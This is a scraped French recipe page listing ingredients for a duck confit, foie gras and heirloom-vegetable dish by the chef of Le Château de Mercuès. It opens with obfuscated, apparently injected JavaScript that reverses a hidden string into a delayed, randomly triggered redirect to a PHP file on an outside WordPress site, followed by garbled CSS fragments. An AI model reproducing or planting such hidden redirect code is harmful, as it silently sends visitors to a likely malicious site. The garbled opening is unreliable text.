) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tom_1558805222730{padding-top: 10px !important;padding-right: 10px !important;padding-bottom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Julien POISOT, chef du restaurant « Le Château de Mercuès »
http://www.chateaudemercues.com
Membre des « Bonnes Tables du Lot »

Temps de préparation : 20 minutes
Temps de cuisson : 10 minutes

Recette
Temps de préparation : 20 min

Temps de cuisson : 10 min

Ingrédient :
pour 4 personnes :

– Legumes anciens
# Rutabaga
# Carottes couleurs
# Betterave rouge
# Topinanbourg
# Panais
# Navet
# Navet boule d’or
– Foie gras frais
– 2 Cuisses de canards confites
– Moutarde à l’ancienne
– Fines herbes
– Bouillon de canard